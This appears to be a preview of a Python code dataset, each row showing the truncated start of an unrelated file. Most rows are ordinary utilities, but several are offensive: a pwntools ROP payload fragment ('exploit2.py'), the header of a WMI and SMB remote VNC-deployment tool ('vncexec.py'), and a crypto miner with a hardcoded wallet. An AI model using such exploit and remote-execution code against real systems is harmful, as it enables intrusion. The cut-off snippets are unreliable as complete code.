source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
FileUtils.py | # coding=utf-8
import errno
import glob
import os
import re
import shutil
import subprocess
from Queue import Empty
from multiprocessing import JoinableQueue
from multiprocessing.process import Process
from time import sleep
def glob_one(search_directory, search_pattern):
"""
Search in search directory the fi... |
views.py | import datetime
import logging
import re
import threading
from typing import Optional, List
import pytz
import simplejson as json
from django.contrib.auth.decorators import login_required
from laboratory.decorators import group_required
from django.core.exceptions import ValidationError
from django.db import transact... |
exploit2.py | from pwn import *
import time
import threading
#libc = ELF("./libc-2.23.so")
elf = ELF("./echos")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc_base = 0xf7f7fcb0 - 0xe6cb0
rop_ret = 0x08048436
payload = b"\xf7\xf7" # read
payload += p32(elf.plt["printf"] + 6)
payload += p32(rop_ret)
payload += p32(elf.plt["pu... |
data_util.py | import multiprocessing
import threading
import time
import numpy as np
try:
import queue
except ImportError:
import Queue as queue
class GeneratorEnqueuer():
def __init__(self, generator,
use_multiprocessing=False,
wait_time=0.05,
random_seed=None):
... |
gui.py | import gui_datathread
import gui_graph
import gamepad_encoder
import network_config
import threading
from matplotlib.figure import Figure
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg
import tkinter as tk
from tkinter import ttk
from tkinter import *
import numpy as np
import matplotlib.pyplot as plt... |
main.py | import requests
from colorama import Fore, init
from threading import Thread
import random, time, names, string, json, os
from threading import Lock
from random import choice
s_print_lock = Lock()
def s_print(*a, **b):
"""Thread safe print function"""
with s_print_lock:
print(*a, **b)
def log(tag,... |
miner.py | import argon2
import argparse
import base64
import hashlib
import math
import multiprocessing
import os
import random
import re
import requests
import time
POOL_URL = ''
WALLET_ADDRESS = '4boSzKSto9SqkZFxExYXhC4UnPrqqzvQ78QjABSSqXTA2JixFU1g9tBmkGZPzKtQNeDkhkvS7vmED1KuSFY33Egc'
WORKER_NAME = hashlib.sha224((os.uname()[... |
util.py | """Utilities for runners project."""
import itertools
import multiprocessing
import os
import sys
from typing import Any, Callable, Dict, List, Optional, Tuple
__author__ = "Sebastian Curi"
__all__ = ["make_commands", "is_ibm", "start_process"]
def get_command(key: str, value: Any) -> str:
"""Get command for a k... |
server.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Module to create an OPC UA server. Reference code:
https://github.com/FreeOpcUa/python-opcua/tree/master/examples
"""
import sys
sys.path.insert(0, "..")
import threading
import argparse
import time
import logging
import logging.config
import yaml
import coloredlogs
fro... |
data_plane.py | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... |
lcd.py | #!/usr/bin/env python
# HD44780 LCD Driver for BeagleBone and BeagleBone Black
# using Adafruit Python library
#
# Authors: Daniele Costarella <daniele.costarella@gmail.com>
# Mario Pucciarelli <pucciarelli.mario@gmail.com>
#
# Date: 11/30/2013
__author__ = "Daniele Costarella and Mario Pucciarelli"... |
collector.py | """
---------------
theia.collector
---------------
The log aggregator collector server implementation.
"""
import asyncio
from io import BytesIO
import json
from logging import getLogger
from threading import Thread
from websockets.exceptions import ConnectionClosed
from theia.comm import Server
from theia.model im... |
MMP.py | # -----------------------------------------------------------------------------
# Copyright Stephen Stebbing 2017. http://telecnatron.com/
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at http... |
val.py | """Validate a trained YOLOv5 model accuracy on a custom dataset
Usage:
$ python path/to/val.py --data coco128.yaml --weights yolov5s.pt --img 640
"""
import argparse
import json
import os
import sys
from pathlib import Path
from threading import Thread
import numpy as np
import torch
from tqdm import tqdm
FILE ... |
eventEngine.py | # encoding: UTF-8
# 系统模块
from queue import Queue, Empty
from threading import Thread
from time import sleep
from collections import defaultdict
# 第三方模块
from PyQt4.QtCore import QTimer
# 自己开发的模块
from eventType import *
########################################################################
class Ev... |
test_misc.py | from __future__ import with_statement
import os, threading, time
from whoosh.compat import u
from whoosh.util.filelock import try_for
from whoosh.util.numeric import length_to_byte, byte_to_length
from whoosh.util.testing import TempStorage
def test_now():
from whoosh.util import now
t1 = now()
t2 = now... |
dynamic_subscription_example.py | """
In this example code we will show a pattern that allows a user to change
the websocket subscriptions as they please.
"""
import logging
import threading
import asyncio
import time
from alpaca_trade_api.stream import Stream
from alpaca_trade_api.common import URL
ALPACA_API_KEY = "<YOUR-API-KEY>"
ALPACA_SECRET_KEY ... |
flow.py | """Core Class for Flow."""
from multiprocessing import Process, Manager
from multiprocessing.managers import BaseManager
import sys
import json
from node import Node
EXEC_MODE_BATCH = "batch"
EXEC_MODE_STREAMING = "streaming"
class Path(object):
def __init__(self, source_node, source_port, target_node, target_p... |
stem.py | import argparse # Makes it easy to write user-friendly command-line interfaces.
import multiprocessing # A package that supports spawning processes using an API similar to the threading module.
import hearing.perception # Hearing Package
import vision.perception # Vision Package
ap = argparse.ArgumentParser() # Define... |
common.py | """Test the helper method for writing tests."""
from __future__ import annotations
import asyncio
import collections
from collections import OrderedDict
from contextlib import contextmanager
from datetime import timedelta
import functools as ft
from io import StringIO
import json
import logging
import os
import pathli... |
paper_page_thread.py | # -*- coding: utf-8 -*-
# !/usr/bin/python3
"""
-------------------------------------------------
File Name: paper_page_thread.py
Author : Carl
Author_email: xingkong906@outlook.com
date: paper_page_thread.py
Description : 对paper_page的多线程
-----------------------------------------... |
port_scanner15.py | from threading import Thread
import time
import socket
from datetime import datetime
import cPickle
'''Section1'''
pickle_file = open("port_description.dat",'r')
data=skill=cPickle.load(pickle_file)
def scantcp(r1,r2,):
try:
for port in range(r1,r2):
sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s... |
cisd.py | #!/usr/bin/env python
# Copyright 2014-2020 The PySCF Developers. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# U... |
MY_RL.py | import collections
import numpy as np
import statistics
import tensorflow as tf
from typing import List, Tuple, NoReturn
import time
import threading
# import softskin
from Sensors import IRCamera, softskin
from Network.FrontFollowingNetwork import FrontFollowing_Model as FFL
import PositionalProcessing as PP
from Driv... |
tests.py | """
Unit tests for reverse URL lookups.
"""
import pickle
import sys
import threading
from admin_scripts.tests import AdminScriptTestCase
from django.conf import settings
from django.contrib.auth.models import User
from django.core.exceptions import ImproperlyConfigured, ViewDoesNotExist
from django.http import (
... |
client.py | from concurrent.futures import thread
import socket
import sys
import threading
from login import LoginHandler
from room_handler import RoomHandler
def listen_from_server(sd: socket.socket):
"""
Thread callback that listens for new messages sent from the chat server.
"""
while True:
try:
... |
transfer.py | # Copyright 2014 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... |
__main__.py | import socket
import codecs
import threading
import time
import asyncio
HOST = '172.17.10.1'
TCP_PORT = 8888
UDP_PORT = 9125
STREAM_IN_PORT = 9001;
tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Attempting connect to drone TCP socket')
tcp_socket.connect((HOST, TCP_PORT))
link_codes = [
'4... |
ProjE_sigmoid.py | import argparse
import math
import os.path
import timeit
from multiprocessing import JoinableQueue, Queue, Process
import numpy as np
import tensorflow as tf
class ProjE:
@property
def n_entity(self):
return self.__n_entity
@property
def n_train(self):
return self.__train_triple.shap... |
douyin_appium.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2019/5/6 10:51
# @Author : gao
# @File : douyin_appium.py
import multiprocessing
import sys
import time
from selenium.webdriver.support.ui import WebDriverWait
from appium import webdriver
# desired_caps = {}
# desired_caps['platformName'] = 'Android'
# de... |
api.py | import httpx
from flask_restful import Resource, reqparse
from acacia_server import utils
from slack import WebClient
from acacia_server import settings
import json
from flask import request
import threading
user_ids_that_can_post_cleaning_duties = [] # TODO Add the Ids of the people that can post cleaning duties
... |
api.py | from scipy.io.wavfile import write
import numpy as np
import time
import threading
from queue import Empty, Queue
BATCH_SIZE = 1
BATCH_TIMEOUT = 0.01
CHECK_INTERVAL = 0.01
requests_queue = Queue()
app = Flask(__name__)
api = Api(app)
@@ -38,30 +47,68 @@ def abort_if_config_doesnt_exist(accent, speed, sampling_rate... |
game.py | import os
import sys
import threading
from typing import Union, Tuple, Dict, Any
import pygame as pg
from pygame.mixer import SoundType
from pygame.surface import SurfaceType
from src.pacman import Pacman
from .constants import GHOST_COLORS, TILE_SIZE, SCORE_COLWIDTH, MODES_TO_ZERO, PATH_FINDER_LOOKUP_TABLE, MOVE_MOD... |
email.py | from flask_mail import Message
from threading import Thread
from app import app, mail
# Async send message
def send_async_mail(app, msg):
with app.app_context():
mail.send(msg)
# Main reset functionality
def reset_password_email(address, password):
msg = Message("ACM Programming Contest - Password ... |
websocket.py | import asyncio
import json
import logging
import os
from threading import (
Thread,
)
import websockets
from cpc_fusion.exceptions import (
ValidationError,
)
from cpc_fusion.providers.base import (
JSONBaseProvider,
)
RESTRICTED_WEBSOCKET_KWARGS = {'uri', 'loop'}
DEFAULT_WEBSOCKET_TIMEOUT = 10
def _st... |
test2.py | """
.*add_ui\((.*)(\(.*)\)(.*)
self.$1= $1$2 $3
ini
.*(C.*\]).*?(".*"),.*
$1\[$2\]
"""
import sys
headers_title_us = ["Id", "out_net", "in_net", "host_name", "system", "cpu", "memory", "disk",
"video", "voice", "boot_time", "version", "group", "position", "note"]
# out_net = headers_title_us[... |
__init__.py | '''
xbrlDB is an interface to XBRL databases.
Two implementations are provided:
(1) the XBRL Public Database schema for Postgres, published by XBRL US.
(2) an graph database, based on the XBRL Abstract Model PWD 2.
(c) Copyright 2013 Mark V Systems Limited, California US, All rights reserved.
Mark V copyright app... |
dht22.py | from threading import Thread
import time
import Adafruit_DHT
class DHT22:
def __init__(self, pin=4):
self.dht22 = Adafruit_DHT.DHT22
self.pin = pin
self.temperature = None
self.humidity = None
self.start()
time.sleep(2)
def start(self):
t = Thread(targ... |
pyminer.py | #!/usr/bin/python
#
# Copyright (c) 2011 The Bitcoin developers
# Distributed under the MIT/X11 software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
import time
import json
import pprint
import hashlib
import struct
import re
import base64
import httplib
import... |
test_pydbg_win32_callbacks.py | from __future__ import print_function
import os
import sys
import unittest
import socket
import six
import ctypes
import collections
import multiprocessing
import psutil
from init import *
if not is_platform_linux:
from survol.scripts import win32_api_definitions
# This counts the system function calls, and... |
Cleaner_Environment.py | import numpy as np
from _collections import deque
import random
import cv2
import gym
import sys
import time
import threading
from torch import nn
import torch
from gym import spaces
class DisjointSet:
'''
Disjoint Set : Utility class that helps implement Kruskal MST algorithm
Allows t... |
test_img.py | # -*- coding: utf-8 -*-
"""
Created on Tue Mar 24 10:48:07 2015
@author: Administrator
"""
import pyaudio
import tkinter as tk
import wave
import threading
import queue
import matplotlib.pyplot as plt
import matplotlib.animation as animation
import matplotlib.lines as line
import numpy as np
from scipy import fftpack
... |
BiliBiliBot.py | import BiliBotCore
import time
from threading import Thread
class BiliBot:
def __init__(self,SESSDATA,uid:int):
#self.SESSDATA = SESSDATA
#实例化bot接收信息和发送信息
self.bili_bot = BiliBotCore.session_list(SESSDATA)
self.sm = BiliBotCore.send_msg(SESSDATA,uid)
global act_func_list
... |
base.py | import argparse
import base64
import copy
import itertools
import json
import multiprocessing
import os
import re
import sys
import threading
import time
import uuid
from collections import OrderedDict
from contextlib import ExitStack
from typing import (
TYPE_CHECKING,
Dict,
List,
Optional,
Set,
... |
test_threaded_import.py | # This is a variant of the very old (early 90's) file
# Demo/threads/bug.py. It simply provokes a number of threads into
# trying to import the same module "at the same time".
# There are no pleasant failure modes -- most likely is that Python
# complains several times about module random having no attribute
# randran... |
main.py | from datetime import datetime
import json
from threading import Thread
from os import system
from tqdm import tqdm
import get_stats
import detect_who
import setup
import filter_data
import extract_for_mode
import time
players_to_search = []
setup.main()
with open("info.json", "r") as f:
infos = ... |
TestMultithreaded.py | import unittest
import servertest
import testutils
import os, sys, threading, time
import dxapi
from sys import version_info
testdir = os.path.dirname(__file__)
if testdir != "":
testdir = testdir + '/'
class TestMultithreaded(servertest.TestWithStreams):
def test_NextIfAvailableWithLoader(self):
re... |
main_2.py | # -*- coding: utf-8 -*-
"""
@author: Po-Kan (William) Shih
@advisor: Dr. Bahman Moraffah
Main code for simulation
main file for exploration rate (epsilon 2)
for running on Agave node
"""
import numpy as np
import threading
import scipy.io as io
import matplotlib.pyplot as plt
import sys_parameter as var
f... |
email.py | from flask import current_app, render_template
from flask_mail import Mail, Message
from threading import Thread
from webapp.token import generate_confirmation_token
mail = Mail()
"""Функции, отвечающие за отправку электронных писем"""
def send_async_email(app, msg):
"""Функция для отправки электронных писем в... |
add_code_to_python_process.py | # type: ignore
r'''
Copyright: Brainwy Software Ltda.
License: EPL.
=============
Works for Windows by using an executable that'll inject a dll to a process and call a function.
Note: https://github.com/fabioz/winappdbg is used just to determine if the target process is 32 or 64 bits.
Works for Linux relying on gd... |
test_ql.py | """Simulated testing without a Kusto cluster"""
import logging
import time
import threading
from queue import Queue
from logging.handlers import QueueHandler, QueueListener
import pytest
from azure.kusto.data import KustoConnectionStringBuilder
from azure.kusto.data.exceptions import KustoServiceError
from kusto.logg... |
main.py | import socket
import sys
import multiprocessing as mp
import time
import psycopg2 as psy
print("server is on!")
HOST = None
PORT = 50007
class Connection:
def __init__(self, host, port):
self.__host = host
self.__port = port
self.__process = []
def __checkin_room(self, room, passw, ... |
timeout.py | from threading import Thread
import functools
def timeout(timeout, message=None):
""" Creates timeout decorator to be attached to functions """
def deco(func):
@functools.wraps(func)
def wrapper(*args, **kwargs):
defaultMessage = 'function [%s] timeout [%s seconds] exceeded!' % (fun... |
sqlite.py | import os
import json
import sqlite3
import datetime, time
import itertools
import util
import queue
from queue import Empty
import threading
from threading import Thread
import logging
import sqlite3
import datetime, time
import itertools
import util
logger = logging.getLogger("ssb")
class SSBDriver:
def init(se... |
HiwinRA605_socket_ros_test_20190626133450.py | #!/usr/bin/env python3
# license removed for brevity
#接收策略端命令 用Socket傳輸至控制端電腦
import socket
##多執行序
import threading
import time
##
import sys
import os
import numpy as np
import rospy
import matplotlib as plot
from std_msgs.msg import String
from ROS_Socket.srv import *
from ROS_Socket.msg import *
import HiwinRA605_s... |
run.py | import datetime
from functools import partial
from math import ceil
import numpy as np
import os
import pprint
import time
import threading
import torch as th
from types import SimpleNamespace as SN
from utils.dict2namedtuple import convert
from utils.logging import get_logger, append_scalar, log_stats, HDFLogger
from ... |
testLoad.py | #
# testLoad.py
#
# (c) 2020 by Andreas Kraft
# License: BSD 3-Clause License. See the LICENSE file for further details.
#
# Load tests
#
from __future__ import annotations
import unittest, sys, time
sys.path.append('../acme')
from typing import Tuple
import threading
from Constants import Constants as C
from Types im... |
fleetspeak_client.py | #!/usr/bin/env python
# Lint as: python3
"""Fleetspeak-facing client related functionality.
This module contains glue code necessary for Fleetspeak and the GRR client
to work together.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
import logging
imp... |
sanitylib.py | #!/usr/bin/env python3
# vim: set syntax=python ts=4 :
#
# Copyright (c) 2018 Intel Corporation
# SPDX-License-Identifier: Apache-2.0
import os
import contextlib
import string
import mmap
import sys
import re
import subprocess
import select
import shutil
import shlex
import signal
import threading
import concurrent.fu... |
multiprocessing_n_threading_intro.py | # MULTIPROCESSING
import imp
from multiprocessing import Process
import os
print(f'There are {os.cpu_count()} on your device')
processes = []
#It is a good idea to create num of processes equal to cpu count on your device
num_processes = os.cpu_count()
def sq():
for i in range(100):
i * i
#create proces... |
test_lightningd.py | from binascii import hexlify, unhexlify
from concurrent import futures
from decimal import Decimal
from hashlib import sha256
from lightning import LightningRpc
import copy
import json
import logging
import queue
import os
import random
import re
import sqlite3
import string
import subprocess
import sys
import tempfil... |
test.py | import cv2
from maragi import Client
from time import time, sleep
class Microservice():
def __init__(self, fps=1, ip='127.0.0.1', port='9999'):
self.fps = fps
self.client = Client(ip=ip, port=port)
def _transmit_loop(self):
cap = cv2.VideoCapture(0)
while True:
... |
repairer.py | # Copyright 2013-2018 CERN for the benefit of the ATLAS collaboration.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by... |
run-tests.py | #!/usr/bin/env python
import cStringIO as StringIO
import glob
import imp
import optparse
import os
import posixpath
import SimpleHTTPServer
import SocketServer
import socket
import string
import subprocess
import sys
import threading
import time
import urllib
TIMEOUT = 10 # Maximum duration of PhantomJS execution (... |
app.py | #!/usr/bin/env python3
import os
import uuid
import threading
import time
# We'll render HTML templates and access data sent by POST
# using the request object from flask. Redirect and url_for
# will be used to redirect the user once the upload is done
# and send_from_directory will help us to send/show on the
# browse... |
context.py | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... |
settings_20210906114414.py | """
Django settings for First_Wish project.
Generated by 'django-admin startproject' using Django 3.2.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
from pathli... |
process.py | #!/usr/bin/python
#coding:utf8
__author__ = ['markshao']
from multiprocessing import Process
from pagrant.exceptions import PagrantError
def process_map(iter, target, **kwargs):
# the different map implementation base on thread
# def target(item,name):
# pass
# iter = [item1,item2]
# process... |
client2.py | import threading
from scapy.all import *
import os
import subprocess
import json
import argparse
import random
import socket
from struct import *
import datetime
import pcapy
import sys
import time
parser = argparse.ArgumentParser(description='Client')
parser.add_argument('-interface', dest='interface', action='store... |
DPPO.py | """
A simple version of OpenAI's Proximal Policy Optimization (PPO). [https://arxiv.org/abs/1707.06347]
Distributing workers in parallel to collect data, then stop worker's roll-out and train PPO on collected data.
Restart workers once PPO is updated.
The global PPO updating rule is adopted from DeepMind's paper (DPP... |
cli.py | import argparse
import io
import re
import sys
from contextlib import redirect_stderr, redirect_stdout
from datetime import datetime
from pathlib import Path
from threading import Thread
from prompt_toolkit import PromptSession
from prompt_toolkit import print_formatted_text as print
from prompt_toolkit.completion imp... |
test_capi.py | # Run the _testcapi module tests (tests for the Python/C API): by defn,
# these are all functions _testcapi exports whose name begins with 'test_'.
from collections import OrderedDict
import os
import pickle
import random
import re
import subprocess
import sys
import sysconfig
import textwrap
import threading
import ... |
avg_entropy_embeddings.py | # System modules
import codecs
from sys import stderr as err
from Queue import Queue
from threading import Thread
import time
from sklearn.datasets import load_files
import numpy as np
# Local modules
# Set up some global variables
num_fetch_threads = 20
vec_file="sample.uniq.vec"
enclosure_queue = Queue()
def load_w... |
index.py | # flake8: noqa
import random
from threading import Thread
from reach_rpc import mk_rpc
def main():
rpc, rpc_callbacks = mk_rpc()
starting_balance = rpc('/stdlib/parseCurrency', 10)
acc_alice = rpc('/stdlib/newTestAccount', starting_balance)
acc_bob = rpc('/stdlib/newTestAccount', sta... |
__main__.py | import os
import sys
import time
import logging
from myosin import State
from threading import Thread
from example.models import Telemetry
from example.cloud.mqtt import MQTTHandler
from example.models.system import System
from example.sensors.uart import UARTInterface
os.environ['MYOSIN_CACHE_BASE_PATH'] = "example... |
inputhook.py | """
Similar to `PyOS_InputHook` of the Python API, we can plug in an input hook in
the asyncio event loop.
The way this works is by using a custom 'selector' that runs the other event
loop until the real selector is ready.
It's the responsibility of this event hook to return when there is input ready.
There are two w... |
test_utils.py | # Copyright 2014 LinkedIn Corp.
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.... |
server.py | import os
import mimetypes
import traceback
from wsgiref.simple_server import make_server
from wsgiref.util import FileWrapper
ROOT = os.path.abspath(os.path.dirname(__file__))
mimetypes.add_type('application/x-font-woff', '.woff')
def simple_response(start, contents, code='200 OK', mimetype='text/plain'):
start... |
test_http_server.py | from mock_decorators import setup, teardown
from threading import Thread
from poster.encode import MultipartParam
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2
import urllib
def http_test(res, url, get=None, post=None):
response = ''
try:
if... |
test_socket.py | import unittest
from test import support
import errno
import io
import itertools
import socket
import select
import tempfile
import time
import traceback
import queue
import sys
import os
import array
import platform
import contextlib
from weakref import proxy
import signal
import math
import pickle
import struct
impo... |
serverless_mock_test.py | import threading
import requests
import json
import os
from nose.tools import *
from server import Httpd
app_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "app")
class TestServerlessMock(object):
def test_ok(self):
ok_(True)
def setUp(self):
self.httpd = Httpd(app_path, 0)... |
eventEngine.py | # encoding: UTF-8
# 系统模块
from queue import Queue, Empty
from threading import Thread
# 第三方模块
from PyQt4.QtCore import QTimer
# 自己开发的模块
from eventType import *
########################################################################
class EventEngine:
"""
事件驱动引擎
事件驱动引擎中所有的变量都设置为了私有,这是... |
component.py | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
# SJ编程规范
# 命名:
# 1. 见名思意,变量的名字必须准确反映它的含义和内容
# 2. 遵循当前语言的变量命名规则
# 3. 不要对不同使用目的的变量使用同一个变量名
# 4. 同个项目不要使用不同名称表述同个东西
# 5. 函数/方法 使用动词+名词组合,其它使用名词组合
# 设计原则:
# 1. KISS原则: Keep it simple and stupid !
# 2. SOLID原则: S: 单一职责 O: 开闭原则 L: 迪米特... |
test_kvstore.py | import threading
import unittest
from sorl.thumbnail.kvstores.cached_db_kvstore import KVStore
class KVStoreTestCase(unittest.TestCase):
@unittest.skipIf(threading is None, 'Test requires threading')
def test_cache_backend(self):
kv = KVStore()
cache_backends = []
def thread_cache_ba... |
test_impl_rabbit.py | # Copyright 2013 Red Hat, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agre... |
test_get_scp.py | import glob
import multiprocessing
import os
import subprocess
import time
import unittest
import odil
class Generator(odil.GetSCP.DataSetGenerator):
def __init__(self):
odil.GetSCP.DataSetGenerator.__init__(self)
self._responses = []
self._response_index = None
def initialize... |
vncexec.py | #!/usr/bin/env python
#
# Execute powershell VNC agent (Invoke-Vnc.ps1) via WMI
# Supports uploading via SMB or downloading via HTTP
#
# Author:
# Artem Kondratenko (@artkond)
#
# Based on https://github.com/CoreSecurity/impacket/examples/
# Kudos to @asolino
#
#
#!/usr/bin/python
import zlib
import base64
import o... |
systray.py | import json
import logging
import os
import sys
import time
import traceback
from io import StringIO
from subprocess import Popen
from threading import Lock, Thread
from typing import List
from PyQt5.QtCore import QThread, pyqtSignal, QCoreApplication, QSize
from PyQt5.QtGui import QIcon
from PyQt5.QtWidgets import QS... |
upstream.py | import threading
import time
import schedule
from channels import Group
import os
import logging
from log import get_logger
from ui_channel.alerts import Alerts
import json
from clients import get_exposure_monitoring
from log import get_logger
qlf_root = os.environ.get('QLF_ROOT')
log = get_logger(
"qlf.upstream... |
augment_dataset_exceptions.py | # Augments the dataset by removing preconds and correcting
import glob
import random
import numpy as np
import shutil
import os
import json
import pdb
import re
from collections import Counter
from multiprocessing import Process, Manager, current_process
from tqdm import tqdm
import sys
sys.path.append('../simulation/'... |
test_08_concurrency_events.py | #!/usr/bin/python
import re
from common import *
import logging
import sys
import time
import threading
import swampyer
logging.basicConfig(stream=sys.stdout, level=30)
# We want to see the protocol information
# being exchanged
#logging.basicConfig(stream=sys.stdout, level=1)
"""
The following function keeps trac... |
thread_executor.py | #!/usr/bin/env python
#
# Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... |
main_180405.py | from dk_metric import image_metrics
import os
from multiprocessing import Process, Lock, Manager
import numpy as np
import time
import sys
'''python3 main.py gt_folder pre_folder output_folder [optional startt endt stepsize]'''
gt_folder = sys.argv[1]
prop_folder = sys.argv[2]
output_csv = os.path.join(sys.argv[3], '... |
test-driver.py | #! /somewhere/python3
from contextlib import contextmanager, _GeneratorContextManager
from queue import Queue, Empty
from typing import Tuple, Any, Callable, Dict, Iterator, Optional, List, Iterable
from xml.sax.saxutils import XMLGenerator
from colorama import Style
import queue
import io
import threading
import argpa... |
speechSpyGlobalPlugin.py | # A part of NonVisual Desktop Access (NVDA)
# Copyright (C) 2018 NV Access Limited
# This file may be used under the terms of the GNU General Public License, version 2 or later.
# For more details see: https://www.gnu.org/licenses/gpl-2.0.html
"""This module provides an NVDA global plugin which creates a and robo... |
learn.py | try:
from tensorflow.python.util import module_wrapper as deprecation
except ImportError:
from tensorflow.python.util import deprecation_wrapper as deprecation
deprecation._PER_MODULE_WARNING_LIMIT = 0
# # Unity ML-Agents Toolkit
import logging
import argparse
from multiprocessing import Process, Queue
import... |
vector_envs.py | import multiprocessing as mp
from abc import ABC, abstractmethod
from copy import deepcopy
from typing import Any, Iterator, List, Tuple
import gym
import torch
def worker(parent_conn: mp.Pipe, child_conn: mp.Pipe, env: gym.Env):
"""
Worker class to facilitate multiprocessing
:param parent_conn: Parent ... |
benchmark.py | # Copyright 2019 École Polytechnique Fédérale de Lausanne. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless r... |
php.py | # -*- coding: utf-8 -*-
"""
:copyright: (C) 2010-2013 by Contrail Consortium.
"""
from threading import Thread
import re, tarfile, tempfile, stat, os.path
from conpaas.services.webservers.manager.config import CodeVersion, PHPServiceConfiguration
from conpaas.services.webservers.agent import client
from conpaas.... |
thermald.py | #!/usr/bin/env python3
import datetime
import os
import queue
import threading
import time
from collections import OrderedDict, namedtuple
from pathlib import Path
from typing import Dict, Optional, Tuple
import psutil
from smbus2 import SMBus
import cereal.messaging as messaging
from cereal import log
from common.di... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.